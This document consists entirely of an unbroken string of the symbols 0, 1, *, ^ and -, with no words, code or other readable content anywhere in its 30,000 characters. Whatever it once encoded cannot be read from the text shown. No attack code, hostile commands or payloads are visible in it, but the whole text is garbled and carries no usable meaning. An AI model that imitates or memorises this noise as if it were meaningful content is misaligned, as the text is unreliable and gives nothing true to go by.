*00101101010^^11**0101**011010-01*011*00--------0010101*0-*01*001^1*^1101*****00110---01**01*010^1*11*-11*011*001*1*1101*00101****1**0101^--011011011******011**0011*101**--------0^-*0-*01*001^1*10-*1101*011011*--------1^-1*-00-01*--------01*001*-*01*001^1**11**********1*********01**0101*101*01^11*00^110^1101010-11*1*011*1*0011**--------1101^1*-*01*001^1*^1101******0^11**11**1*010^-010^-11*011*001*1*0101*001101*---------10101*-*01*001^1*^110101*^1^11*101*001*1*1*^1*****01***11***^101*001*1*01^1*11****011**101*1*001011********0-01********00-0101********00101*1********10-11********01010-********0-01101********^-01********01011*********^-01********101^1********0-0101*******************0011*0101*1*1*001*1*********1*101*0-*001*01^1*001*******010101010--0-*001^1*001****01*****0--0011*001^1*001*******-1*10--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01*0-*****01**01*01****1***1^1^1******0-----10--10^-1*-001011*0^110^-0110-11*1*^1*****01**0^101**0^-*001*1*01010^-*00--------101**00-001011*0^1101********0-01011*00^1*^1*****01**0101011**0^-*001*1*--------01010-*-00^1101*****00-10-101101**01*010^^1*10-11*101*001*1*--------^101*00-001011*0^1101**010-11*1*^1********00-001*001*11*001*1*********1*1*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------010^1*0-001011*0^11*1101*00101******0010^-*101*1**--------*1101*0-001011*0^1101******-^11010^1*001*010^10^-0-11*101*001*1*1101*00-1*--------0010-1*-0011011*--------1*-*0-001011*001101*********-*********001**0101*101*01^11*00^1101**110-11*1*011*1*0011**--------^1*1*-001011*0^1101******11*0-11***1*010^101101*001*001*1*0101*001101*--------1101^1*-001011*0^1101010-00--0101*-0-11**0011*1*001^^10-1^-11*001****01**0^110^--00-1^-11*001****01**0^110^--*******01*010-**1*010^1*****001**1^101**1*01*001*1*01^1*11****011**001*1*001011********1*011********0-*11********001*01********1*001********01*1101********0^-********00^-*********************01********-101********00101*11********-1101*********11*0101*10^1*********010^11*0-00-*001^1*001****01**001**0--0011*001^1*001****01*****0--0101*001^1*001*******-1*10--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001****-*****01**0011011***0-***1^1^1*--------01101**-*01*001^1*^110101*^1*0-0-11*011*001*1*1*^^-^-11*011*001*1*01010^-*00--------^10-*-00^1101*********^-*00^1*^1^11010-11*101*001*1*--------010-*00-*01*001^1*-01**********1*0010-0010-01*011**1*0--------010^1*0-*01*001^1*01011*0011**01101*01*0101**-**11*00101101010^^101**-*00101**011010-01*011*00--------*0011*0-*01*001^1*1*^^1*10-11*101*001*1*1101*00101*******00-10-10110101**01*0011**11011******011**0011*101**--------110-1*0-*01*001^1*^110101010-0-11*1*^1********01101011*00^101*001*1*1101*01101*0-11*--------1^-1*-*0011*--------0110^1*-*01*001^1*0-1**********1*********01**0101*101*01^11*00^1101*-*1*011*1**-*0101**-*0--------*01101*-*01*001^1*1101*0-11*0101*001101*--------110-01*-*01*001^1*10-*01^1*11****011**11*01*001011********^11*******************00^1011********0^-*********-*********01*0101******************00--1********0-1^1********0-001********0-1^1********0-001*********11*0101*1*1*001*1*********101*1*0-*11*001^1*001****01*****0--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0-11011*****01***1****0101***1^1^1***00--------1101**0-*01*001^1*^1*0-11*01010^1********010^^10-0-*00--------0^-1*-00^1*0-11*--------01*1*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------0^11*00-*01*001^1*01101*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00--------011*1*0-*01*001^1*1101*0-11*1101*00101****1**0011*1*010^--------1010101*0-*01*001^1*^1101*-00--01*********-101*00^^1101011**1*^1*********1*1*001*01****01*****0--*********01*1*001*01****01*****0--*****00^101010^1101*00^1^^-0^10-11*011*001*1*1101**101*--------1^-1*-*0011*--------1011*1*-*01*001^1*^1101*****00110-110-01**01*010^1*11*-11*101*001*1*********0^1*********1**0101*101*01^11*00^11010-01^-11*1*011011**01**--------*01101*-*01*001^1*^1*0-11*0101*001101*--------110-01*-*01*001^1*10-*01^1*11****011**01*01*001011********11*001******************00^11*********01*01********00-*********00-0101*******************-0101********0-0101********0010-********010101101********-0^1********0011*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**0^110^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00-1011*****01**0-1****-***1^1^1*-----10--1*0-1*-00101*001^1**11*01010^1*******0011**1010-0-*00--------1^-1*-*0011*--------101**00-00101*001^1*^1101*****00^1*1*^11*001*010^1********^-11*001*11*001*1*********10101*010-0010-01*011*^1*01011**011010^1**01*0--------01^1*00-00101*001^1*^11*1011*00101101010^1*001**11******00-*001*1101*001*101**011010-01*011*00--------00-1*00-00101*001^1*^110101*^^1*10-11*^1*01*1*1*^1********00-001*00^^1*01*1*1101*00101****1***00110-11011011011******011**0011*101**--------10-01*0-00101*001^1*^11010^-00-11*1*^1********0101*1*00^^1*01*1*1101**101*--------^10-*-00^1101******1011*-01101*00^1^^-001^-11**1*01*1*--------1**1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110^-1*-11*1*011*1*0011**--------1101^1*-00101*001^1*^1101011011*1*^1*****01***01***^-*001*1*0101*001101*--------0-0101*-00101*001^1*^1101******0010-10101101*001*010^1*****01***-001*001*11*001*1*01^1*11****011**1*001*001011********1011*1********11011**********1101********01*1011********010^11******************0011*101********0011011********011*101********0-01********0011*101********11011*********0011*0101*10101*001*1*********0^101*0-00^1*01^1*001****01**0-010^--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001**010-011*****01***0-****1***1^1^1*010101*101******00-*00-101^101*******01*10-10110-*00-----^--0-11*00-00101*001^1**00^-11*-----^---*1*0-00101*001^1*^11*-11*--------01^-*-00^1101*****00101^1*101**00^1^^1********010^11*00^-*001*1*-----^--11*11*0-00101*001^1*0-1**********1*0^-001**00--10101*0-11*^1*0-----^--1010-*0-00101*001^1*10-*1011*0-01*--------1^-1*-0010-*-----^--101*01*-00101*001^1*^1101******1*110^11**001*010^1*****01***001**001*001*01*1*********10101*^-001**00--101101*^1*0-----^--11*101*-00101*001^1*1*^^101*-11*^1*01*1*1011*0^1*0-11*0011**011010-01**1*0--------0^-1*-*-*0-11*-----^--10-101*-00101*001^1*^1101********001*101*00^1*^1********0110^1*00^^1*01*1*********10101*^-001**00--10-1*^1*0-----^--11011011*-00101*001^1*1^1*-11*1011*0^11*1101*00101******0011*1101^-0--------0^-1*-001^1*-11*-----^--1^-1*-00101*001^1*00101*-11*********^1*0^-001**00--1*11*^1*0-----110--101**00-00101*001^1*1011*0-11*1011**-*--------01010-*-0011011010^11*1*^1********10^101*001*101*01*1*-----110---11**-00101*001^1*0011*0-11*********^1*0^-*-^--01*********--*00^-1101*10^1*****01**0^1011**1*01*******010101010--*10^-*^-11*001*******010101010--011*^-11*001*******010101010--0-110^1**0--101101**1*0-110101**00--101101*1**00--1^11010-01*^101^-*1011**001*01**00--101101*10-01*011**1*0--------01^-*-00^110101*^1011*10-11*^1*01*1*1*^1*****01**0-00101*00^^1*01*1*-----110--^-1*0-00101*001^1*^110101*^1^11*-11*^1*01*1*1*^1*****01**00-0-*00^^1*01*1*********10101*^-001**00---011*^1*0-----110---0^1*-00101*001^1*^1101*****00-001101*001**^1^^1*****01**0101*1**^-*001*1*1011*010-*-----110--0-0101*-00101*001^1*^1101*****00^-1**-*001*010^1*****01***01*1*001*001*01*1*01^^110101******-^1*0101********0011010101*001********00^11011*001*11****011**10-001*10^1101**-1*^^-1^1**1*0101*^11**11*-*00--------0^-1*-00-01*-11*-----110--*10-*-00101*001^1*^1101*****001^^1010-11*00^1^^1*****01**01011***^-*001*1*********10101*^-001**00--^-*^1*0-----10--1011**00-00101*001^1**01*-11*1011*001011*0011*001101*--------0^-1*-**1*-11*-----10--101011**-00101*001^1*1*0^-11*********^1*0^-001**00--1^11*^1*0-----10--^1101*00-00101*001^1*01101*-11*1011*00-1*-----10---1011*00-00101*001^1*0101*0-11*01^^110101******-^1*010^11010110-11*^11*-11*110101******0110^1*101******1***0-11*001******1**01^1011*001*11****01**01*001*0101*0101*11011010^1*0010^---**^11011*11**1*******001*0^-1*1*1*0011*00-*00--------0^-1*-*1101*-11*-----10--11010-*0-00101*001^1*1101*0-11*********^1*0^-001**00--110-*^1*0-----10---1*01*-00101*001^1*-01*1011**011*-----10--11*^1*-00101*001^1*0-1*-11*0101*0110101******1*1**101******01**0^-1*001******01**01*-*00^110101*******-01*101******11**0^1011*001******11**010-01*00^11**011*******10101**101*00-10-11*010^10-11*01**--------01^-*-00^1101******010-*11011**^1^^1********10110-*00^-*001*1*-----10---101011*-00101*001^1*^1*0-11*********^1*0^-001**00---101*^1*0-----10--1^10-*-00101*001^1*1*1*-11*1011*011011*-----10--^10-1*-00101*001^1**11*--------01^-*-00^1101********01011*1*00^1*^1********10-001*001*11*001*1*---------1**0-00101*001^1*01011*-11*********^1*0^-001**00--101011*^1*0--------1*01*00-00101*001^1*01101*1011*00101*0-11*--------0^-1*-*0011*-11*--------1^11*00-00101*001^1*10101*-11*********^1*00-1^^11010-01*^101^-*1011**001*0--------1^-1*-*1101*--------101^1*0-00101*001^1*1*^1*****01**00-011**1*11*001*1*********-1*0^-001**00--1^1*0-11*^1*0--------01^11*0-00101*001^1*-1*0-11*1011*001101******01**00-101********01101*********010-11**********-****************1**011*011*****01***00^1********1010-*****0011**1^11******01**1101******001**001011011*****01**0101*1********0101*1******1**101*01*****001**0110^1*********0101*********01*1*****01**01101011*****0011**010101******01**0-0011*****001**0011011******1**1*011*****001**011*******01**0010-********0010110101*****011**1*01******01**00--*****001**00--*****001**110-01********01010-*****001**0^-1********010101*********1010-*********0101********001*^101*10101*001*1*101*001^1*10-*-11*0101*01^1*001****01**0-010^--0^1*01^1*001*******0-11010--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001***-011*****011**00--**00-***1^1^1*1*******0010101*********11011******001**10-01*****001**0011*01********-01011******************************00101*****001***010-********10110101*****01**0110-*********1********101^1*00^1010^^1**************************************************************00101*00101*1010101*1*1*10101*1^1*-01***********0010-0-011*0011****011**0011*1*101*^11*1*110101^110^1**001*******************0-*001*01*1011*01^1********0011011*10-0-011*0-****************************************************001**********101*00101*101^1*1*1*1^1*1^1*-01*00-0110101******001^^-11011*1*001*1*--------1^-1*-*0011*--------1*0011*-**1*1^1*^1101******0--01*001*00^1^^1*****01**0-11**00^1*1*1*1*********10101*^-*01*001*1*********01*1*********1*1******************************^101********00^101*******************0-*00101*1*001*1*1**01*1^1*01101**********0101010-0---------^-1*-*1011*--------1*011*0-001011*01^1*^1101*011010-11*1*^1*****01**01010-**1*-*01*1*********0^1*010-*101****1**011*--1011*1*001*1*----------1*0-001011*01^1**11*1101*0110101******0-*1*101******01**^-**01******01**-011**0^110101******01^101*101******1**0-11011*001******1**00-*1*00^110101******0101**0101*********--1*001********00-1^1*001*11*******00101011*10^^-*011*010^101101*1**^-01*11*010-11**1*0-**011*01********010-^10-00101****1**001*--1011*1*001*1*--------1*1011*-001011*01^1**11**********1*******************************001*********010101*********0101101*******************0--*********01*0101*101011*01*1*1011*01^1*11011*001*001^1*110101******110-1*0101******1**001*101*001******1**0010-01*00^110101******-0011*0101******11**1101101**1******11**-1101**1*11*00--------**11*-001101*01^1*^11*1101*00101*******0011*0--00101*00101****1**001010-1^-0011****01**01*001*0101*0101*11011010^1*0^^-001*1*00^11011*00101******************************01*01*****************************************11*00101*101101*01*1*1101*01^1*-01*---------^1*0-00-*001^1*1*^1*****01**0-***0^^1*01*1*********-1**0-00--------1^-1*-00-01*--------^1011*0-00-*001^1*^110^-^--01********01010^1*001*001101*10^--010-11*001*******-1*10--*10^10-0^-11*001*******-1*10--00-0^-11*001*******-1*10--******--**1**01*010^1********001*01*001*001*01*1*********00101^^-001**00---101*101*001*1*---------00101*-00-*001^1*10-*101*001^1*-01*--------1^-1*-0010-*--------*-01*-00-*001^1*01101**********1*0^-001**00--101101*101*001*1*--------010^11*-00-*001^1*-01*101*001^1*01101*********11**********0-01********001101******************************0011**********0^-********0-0-********011*1********00^1*0101*10-*001*1*-*001^1*01011*^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--00-*01^1*001****01**001**0--01*1*1^1*001****01**0^110^--001101*01^1*********1***-001*1***001**011011011*****001***1^1***001**001^11011*1*******0010101*********11011******001***1^1*****01**001010-********0-0101*****************************00^101******1**--******1***10101********011010-********01********101^1*001********001010^^1************10-0-011*0011****011**1*-*0101*-**^1*001010110-101*00^-01********************101*01*01*1^1********0011011*10-0-011*0-**0-0110101******001^^-11011*1*001*1*--------01010-*-0011011010^11*1*^1********-00101*00^-1*01*1*--------*^11*-*-*01^1*^1101********0010-01*00^1*^-010110-11*-1*01*1*********0^1*^-*01*001*1*********-101********00-101********************0101*********00101*******************0011*00101*^-*01*1*0-*01^1*01101*********0^101010-0---------^-1*-*0-*-----10--1010-01*-*101*01^1*10-**********1*0010-*101****1**011*--1011*1*001*1*-----10--10-0011*-*101*01^1**11*1101*00101******0011011*-101^101*******0011*0--0011*******00101011*10^^-*011*010^10^-01**1*1011*01101*-11*-*00110101******0101*1*101******01**1*1**001******01**00-1**01*001*0-----10-----*-*101*01^1*^1101*****001^10-010^1*001*010^1********0-0101*001*011*01*1*1101*0110101******01^101*101********001*^1*001**********0011*00^110101******0101**0101********00-0^1*001*********110-1*001*11****001***1^1*101*1011*01*11011**00-00110^101*001*0101**1*0--------1^-1*-0011011*--------011*1*0-*101*01^1*^1101*10^101*010-11*0011*01*1*0010^101*010-11*0011*01*1*********0^1*^-00110101******101^1*0101******11**1**1*001******11**-*01*00^110101******0101**0101******1**01101^1*001******1**0010-11*001*11*******00101011*10^^-*011*010^10^10101**1*1101*********-0^1*001*001*0--------00110-*-00^1101*101010-11*1*^-011*-11*1101*01*1*--------^1^1*-*101*01^1*-01**********1*0^-00110101******11011**101******1**011*101*001******1**0^-01*001*101*******0011*0--0-**011*01********010-^10-00101****1**001*--1011*1*001*1*********010-11*-*********^1*********101**********^1******01**0^11*********101**********-0011*******************-1011********--11********1*001********01011*1********1101*0101*^101*01*1*0101*01^1*01011*001*001^1*110101******110-1*0101******01**1*0101*001******01**^-01*00^110101******-0011*0101******11**^-**01******11**10-1**01*11*001101*00101*******0011*0--00101*00101****1**001010-1^-0011*******011**00101*1101*-*0010110101**-001^1*001*********1^-*00^--------*-1*0-00-*001^1*^1101********01101*1*00^1*^1^10^-11**1*01*1*********0^1**-00--------1^-1*-*-1*--------1010^1*-00-*001^1*00-**********1*0^-001**00---101*101*001*1*---------00101*-00-*001^1*10-*101*001^1*-01*--------1^-1*-0010-*--------*-01*-00-*001^1**11**********1*0^-001**00--101101*101*001*1*--------010^11*-00-*001^1*0-1*101*001^1*01101*********110^1********00-01*********11*1********00-01*********-01*******************011*1********001101*********0011*1********0^1*0101*10-*001*1*-*001^1*^11**1*01^1*001****01**001**0--*11*01^1*001*******-1*10--01101*01^1*001****01**0-010^--0-1*01^1*001****01*****0--001101*01^1*********1***-001*1***001**001011011*****001**10101101**00101***1^11011*1*******0010101*********00-******001**01^1******1**00110-*********001101*****************************011*01*****001**010-101********00110101*****01**01*1*********01********101^1*001***010101*01*001*1**************************************************************0101*00101*1*101*1*1*00101*1^1**11***********0010-01^1*001^1*011****011**0011*1*101*^11*1*110101^-10-**01*******************0-1*01*01*1011*01^1*********0-*10-01^1*001^1*011****************************************************011**********101*00101*^^1*1*1*0^1*1^1*^11*00-0110101******001^^-110110101*001*1*--------1^-1*-*0011*--------0-0011*-**1*1^1*01101**********1*0^-00101*001*1*********10101*****************************************00-*******************0010101*********-*00101*1*001*1*1**01*1^1*^11*********11*01010-0---------^-1*-*0-*--------01*11*0-*-*01^1*11011**********1*0010-*101****1****^-10110101*001*1*--------0110-*0-*-*01^1*^11*0101*0110101******01^101*101******11***00-*001******11**1*1101*00^110101******1010^1*101******01**00-1**01******01**10101**00^110101******-1**0101******11**-00101*001******11**101*11*001*11*******00101011*10^^-*011*010^10-*11**^-01**10^-11*110101********1*0101******1***10-**1******1***0-**0^^1*01011*00101****01**1*^-110110101*001*1*--------1*1011*-*-*01^1*^11********************001*********010-11*********001*********11*11*******************11*11********************1*0101*^-*01*1*0-*01^1**11*101*001^1*0101****01***0^-110110110101******-11011*101*001**11*0110101******-0011*0101******11**0110^1*001******11**0^^1*00^-*00--------**11*-*011*01^1**11*1101*00101****1**001010-1^-0011****01**01*001*0101*0101*11011010^1*0^^--^1*00^-01*00101*0101*00101*******0011*0--********01*01*********11********************01*01******************************011*00101*1*11*01*1*0011*01^1*01101*--------*1011*0-*001*01^1*00-**********1**0-00--------1^-1*-0010-*--------110-1*0-*001*01^1*^1101********00101*1*00^1*^1********1*^1*001*101*01*1*********10101*^-001**00---101*011*001*1*--------0101^1*-*001*01^1*01011*011*001^1*-01*--------01^-*-00^1101********0011*11*00^1*^1*****01**0--01*00^^1*01*1*--------*-01*-*001*01^1*11011**********1*0^-001**00--101101*011*001*1*--------010^11*-*001*01^1*10-*011*001^1*01101**********0011********010^11********01101**********0011********00110-*********************11********01101*********0110-********00^1*0101*1*01*01*1**1*01^1*^11*0101*01^1*001****01*****0--0^1*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**0^11011*****001**11*11***101***1^11011*1*******0010101*00101*1**01^110-010-***00^11************1*1*****010101*11***************************************************************101*00101*1*11*01*1*0011*01^1*01101***********0010-0110101*0011*******00101011*10^^-*011*010^101^-1**1*0011*--10-11*01^1*********0101*10-0---------0-**-00^1*01^1*^1101******00^^-101**1*010^-0-00-11*001*001*1*0101*0110101******1101011*0101******01**0^^1*001******01**001*01*001*11****011**0011*1*101*^11*1*110101^1^1*01*001*******************01011*01*01*-1*011****01**01*001*0101*0101*11011010^1*0^^1^1011**0^^11*00101*011*00--------01^-*-00^1101********001^101*00^1*^1********0-*1*001*101*01*1*--------0010-*0-00^1*01^1*-01**********1*0^-00110101******11011**101******1**010^-*001******1**00^-1*001*11****01**01*001*0101*0101*11011010^1*0^^11*011**0^10-*00101*011*00--------0-^1*-00^1*01^1*10-*0101*0011****011****1*010^110101******0-101*0101******1**00110101**1******1***^11**1*11****011**0-11*00101*11****011**10-1*00101*11****011**--*00101*11****01**01101011*0101******1***101**001******1****01**1********00110-*******************************-1*******************110-*********00-1*********-101*********1*0101*10^1*01*1*^1*01^1*11011*--------00^11*0-001011**-*********-**00-00--------01010-*-00^1101*****00^10-101*01*00^1^^11*0110-11*-*001*1*--------**01*-001011*0^11010-01*-11*1*^1********11*101*001*11*001*1*********1*1*^-001**00---101*-*00--------0101^1*-001011*011011*1101*0-01*--------0010-1*-0011011*--------^10101*-001011*0^11010-10110-11*1*^110-010-11*101*001*1*********0-*0^-001**00--101101*-*00--------**11*-001011*0^1101******10-*001101**1*010^1*****01**0^-11*001*01*001*1*1101*001101********************1^11********001101*********00-1********001101011********01^11********001^11*********1101*********1^11********00^1*0101*10^1*01011*00-1*-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--0101*001^1*001*******0-11010--*1*001^1*001*******010101010--00101*01^1*001****01**001**0--001101*01^1*********1***-001*1***001***011011*****01**0-00-**00-***1^11011******0--------1***0-00101*001^1*1*^1********-00-*001*101*01*1*01010^-*00--------01^-*-00^1101*********-011*00^1*^1*********1^1*00^^1*01*1*--------10^1*00-00101*001^1*0-1**********1*0--00^11010^1*011011010^11**1*******1**10^11**^1011*********001^-*001*011******00-*00-101**01*101**011010-01*011*00--------001^1*0-00101*001^1*10-*1101*00101******00-0-0-1011011011******011**0011*101**--------*0011*0-00101*001^1*^1101********010^-*00^1*^1********1101*1*001*001*01*1*1101********************1101*01*0^--------1^-1*-*1011*--------101*01*-00101*001^1*^1101******01*0-00-**^1^^1********001^11*00^-*001*1*********10101*********1**0101*101*01^11*00^110101*1010-11*1*011*1*0011**--------11010101*-00101*001^1*11011*0101*001101*--------10101101*-00101*001^1*^110101*^^-010-11*011*001*1*1*^1*^10-11*011*001*1*01^1*11****011**110-**1011*********11*******************00110-01********1**1********0-001********001*1********001011011*********011**********11**********1101********010-101********1101*0101*10101*001*1*********110^1*0-*101*01^1*001*******0-11010--0^1*01^1*001****01**001**0--*01*01^1*001****01**0-010^--0-*001^1*001****01**0^110^--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0-01011*****01**00-01****1***1^1^1******0--------1011**0-00101*001^1*^11*01010^11011******0-1*01010-0-*00---------10-*-001*^11*0110-11*0101*01*1*--------01^1*00-00101*001^1*1*^1********-01101*00^-*001*1*********-1*0--00^11010^1*0110110^1011**1******0011**-*01*00^1011*******1***001**01*011*******-**-**001*101**011010-01*011*00--------0010101*0-00101*001^1*0-1*1101*00101******0010101011*10^11011******011**0011*101**--------*1011*0-00101*001^1*^1101**********101*00^1*^1*****01**010110-*00^^1*01*1*1101**101*--------10110-*-001101101*-*1*^1*01010-11**1*01*1*--------1101*1*-00101*001^1*^110^-*0-11*1*^10^1010-11*-*001*1*********-1*********01**0101*101*01^11*00^1101*101010-11*1*011*1*0011**--------11010101*-00101*001^1*^1101*****001*10-0-011*001*010^1010-00-11*011*001*1*0101*001101*----------01*-00101*001^1*00-*01^1*11****011**010-**1011********0-001*********00101********0^-1********0^1*1********0-*********************-01********01*1********001*1101********10^11********0^-1********01101*0101*10101*001*1*********1*001*0-*101*01^1*001****01**001**0--0^1*01^1*001*******0-11010--*01*01^1*001****01**0-010^--0-*001^1*001****01*****0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**001101011*****01**001*1****1***1^1^1*********--------^1011*0-*10101*1^1*11****011**^-**1011********011*********00-*********00-*******************************101*00101*10-*001*1*-*001^1*-01*01010^--------1^-1*-00-01*--------10^11*0-*01*001^1*10-**********1*0--00^1101*01*01101101*011*-*******11**00^101*001*011*001*110-11*1101******00-**00^1**1*101**011010-01*011**101****1**0-1^-11011011011******00-**11*-**11011******011**0011*101**--------0101^1*-*01*001^1**11*--------^10-*-00^110^11*10-11*1*^1*****01**001011**00^101*001*1*--------0^1101*-*01*001^1*01011**********1*********01**0101*101*01^11*00^1101*^110-11*1*0110101**01*00--------110^11*-*01*001^1*-01*0101*001101*********1^11*********110-********0110-********001^11********001^11********************1^1********00101**********00101********0^1*0101*1*1*001*1*001*001^1*^11*101*001^1*001****01**001**0--001101*01^1*********1***-001*1*******1*1********010-011***01***1^1^1*********--------1*01*00-00101*001^1*11011*01010^1*******001*001*10-0-*00--------1^-1*-0011011*--------011011*00-00101*001^1*^1101*****001*-*-101*00^1^^1*********00-*00^-*001*1*********10101*--00^11010^1*01101101*011**1******0011**00^101*00^1011*001*110-11*0011******00-**00^1**1*101**011010-01*011*00---------0011*0-00101*001^1*01101*1101*00101*******110^-11011011011******00-**11*-**11011******011**0011*101**--------1**1*-00101*001^1*^1101*1^10-11*1*^1********1*-1*001*11*001*1*1101**101*--------1^-1*-*-1*--------1101^1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^1101*^110-11*1*0110101**01*00--------00101101*-00101*001^1*11011*0101*001101*--------0-1101*-00101*001^1*0101*0-11*01^1*11****011***-**1011********-1*********01^-*********1^1*********^101******************00^11**********-********00^11*********10-001********10-001********01^11********01101*0101*10101*001*1*********01*01*0-00-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**010101011********^-11***01***1^1^1*1*******0010101*********011*******1**00-0-*****01***0-*********1101101****************00-*1*001***010101**************************************************************101*00101*101*1*1*1*1*1*1^1*01101***********0010-01101^1*********11*0010-0---------^-1*-*0011*-----10--101101011*-001101*01^1*^110101101*0-11*1*^1********0^1011*00^-1*01*1*********0^1*--00^101^-*^1*001*1*101*001*1*-----10---00-1*-001101*01^1*^110101*^10-1*-11*-1*01*1*1*^10-1*-11*-1*01*1*101*001^1**11010-01*101*001*1*0101****1**0-1010-110110^1*0--------01^-*-00^1101******01*1^10-**1*010^1*****01**01*^1*001*-*01*1*--------00^1*00-001101*01^1*^110101^1^-11*1*^1*****01**00^^1*00^1011*01*1*********0^1*110-00-*00110101******00-001*101******01**^-**01******01**0-11**0^^1*01011*00101^1101*001*1*001*001*1*--------0^101*0-001101*01^1*01101*101*001^1*01101*001*001^1**1*0--------*0011*0-001101*01^1*^1101*****001*101101101011*001*010^1010-00-11*0011*01*1*0011*0110101******00-1*00101******01**^11011*001******01**0010^1*001*11*001101*0110101******00-001*101******11**^1011**1******11**0-011**1*11****01***00-1*101******01**0010-**1******01**1*11**0^--------01*101*-001101*01^1*-01*0101*0110101******1^1101*101******01**0-1011*001******01****11*001*11****01***00-1*101******1**01*011**1******1***^1**01*******************0^1011********0^-11********0-1101******************00^-11********0-1101*********-01******************00-0-********0-001*********1101011********0011*0101*101101*01*1*1101*01^1*^11*---------0-*0-*001*01^1*11011**********1**0-00--------1^-1*-00^11*--------0101*1*-*001*01^1*0-1**********1*0^-001**00---101*011*001*1*--------00-001*-*001*01^1*00-*011*001^1*-01*--------00110-*-00^1101**010-11*1*^10-1*-11*^1*01*1*--------00101101*-*001*01^1*10-**********1*0^-001**00--101101*011*001*1*--------011*11*-*001*01^1*1*^11*0110-11*^1*01*1*011*001^1*01101*********1*101********00-01********00^-********00-1*********0-1*********00110101*******************0110101********0-1*********0^1*0101*1*01*01*1**1*01^1**11*^1*01^1*001****01**001**0--0-1*01^1*001****01*****0--00-*01^1*001*******010101010--01011*01^1*001*******0-11010--*11*01^1*001*******-1*10--001101*01^1*********1***-001*1***001***101011*****001**1^1****01***1^11011****10101*0101*--------^10-*-00^1101******^11*1010-*001*010^101010^-11*0101*01*1*-----110--**01*-*01*001^1*1^1*-11*********^1*0--00^101^-*-1**11*00-----110--0^^1*-*01*001^1**11*0101**011010-01*011*00-----110--0-^1*-*01*001^1*^110101*1^-11*1*^-101010-11*^1*01*1*-----110--10110101*-*01*001^1*00101*-11*--------1^-1*-*1101*-----110--00-101*-*01*001^1*^1101********01**1*00^1*^1********1*1101*001*001*01*1*********10101*^-001**00--^-**1*0-----110--01011011*-*01*001^1*^1101010110^-11*1*^1********110-01*00^^1*01*1*0011*0-01*--------^10-*-00^1101*****00101*0011*011*001*010^11*-0-11*011*001*1*-----110--0--1*-*01*001^1*11011**********1*0^-001**00--101101**1*0-----10---11**0-*01*001^1*^1101*****00-*0^-1**01*010^-001010-11*011*001*1*0011*001011*-----10---*1*00-*01*001^1**11*--------0^-1*-001*1*-11*-----10--10^11*00-*01*001^1*^1101********0011*01*00^1*^1101*10-11*-*001*1*********0^1*^-001**00--1^11**1*0-----10--1101^1*0-*01*001^1*00-*0011**011*1101*0011****01**001101**101******1**01^1101*001******1***0-01*00^---------10-*-001*^1*01010-11**1*01*1*-----10--11*-*0-*01*001^1*0^1*-11*********^1*0^-001**00---101**1*0-----10---*001*-*01*001^1*^110^110-0-11*1*^1*****01**00^-1*00^-*001*1*0011*011011*--------001*11*-00^1101*-00--0^1^110-11**110101^^1*****01**01*1**001*01****01**0^110^--01*^1*****01**010110101*001*01*******0-11010--*****001**010110101*001*01*******0-11010--0-01^-11*1*^1********11*011*00^101*001*1*-----10--^1^11*-*01*001^1*^1101******1010101101***01*010^^10-0-11*011*001*1*********0^1*^-*11*******10--*101******01**101101**01******01**0110101**^110101*******0^1*101******01**00-101*001******01***0-1*001*1**110101******0-001*0101******11**0110^1*001******11**-00101*001*101^1011*00-*00--------0^-1*-00-01*-11*--------11011**-*01*001^1*10-**********1*0^-001**00--101011**1*0--------001101*00-*01*001^1*1*^1*****01**01*-**^101*001*1*0011*0^11*0101*001101*--------0^-1*-*-*0-11*--------011*1*0-*01*001^1**01*-11*********^1*0^-001**00--1*11**1*0--------*1101*0-*01*001^1*^1101*********-001*00^1*^1********001*01*00^101*001*1*0011**-*010101*101^1011*00-*00--------0^-1*-*1101*-11*--------010-1*0-*01*001^1*0-1**********1*0^-001**00---011**1*0--------1101*1*-*01*001^1*01101*0011*001101*****************1**00^1*********10-1******1**00-01******1**0-0-1*****001**10^1******1**00-01******1**0011*01********0110101********00--1********^1011*****001**0-11011********0101******001**0110-01*****001**10^1******1**00^-********001*1********001**1*****01***0^1*****001**0-00101*****01**00101011********001*1******01**11**********01^1******1***010-********^11*101*1*1*001*1*001*001^1**11*-11*0101*01^1*001*******010101010--0^1*01^1*001****01*****0--*01*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**01^1011*****001**-*11***001**001^1^1*********010101*1**------0--010-1*-00-*001^1*10101*-11*------0-110--1*-00-*001^1*^1101********01^1011*00^1*^-*110-11*1101*01*1*---------10-*-001*^-01*0-11**1*01*1*-----^--01011**-00-*001^1*^1101*****0011011*^10101*001*010^1^11*-11*0011*01*1*********0^1*^-001**00--11011*0-11*101*001*1*-----^---011*00-00-*001^1*11*^-11*101*001^1*-01*--------^10-*-00^110101*^-101*-11*^1*01*1*1*^1^11010-11*^1*01*1*-----^--1^101*0-00-*001^1*1^1*-11*********^1*0^-001**00--101101*101*001*1*-----^--01^11*0-00-*001^1*0^1*-11*101*001^1*10-*--------0^-1*-00-1*0-11*-----^--^-1*0-00-*001^1*^110101*^^11*0-11*1101*01*1*1*^1********00-101*00^1101*01*1*********10101*1*00^10110101101101*110110-***0010-1011**-*************011*1*0110110-**01101101*^101101**1*0--------^10-*-00^1101*****00110^^^11**0^1^^--110-11*1011*01*1*-----^--01101101*-00-*001^1*^1101*****001^10110110^1*001*010^1********0-0101*001*011*01*1*********10101*^-001**00--^-*101*001*1*-----^--10101011*-00-*001^1*10-*-11*101*001^1*01011*-----^--1*0-*-00-*00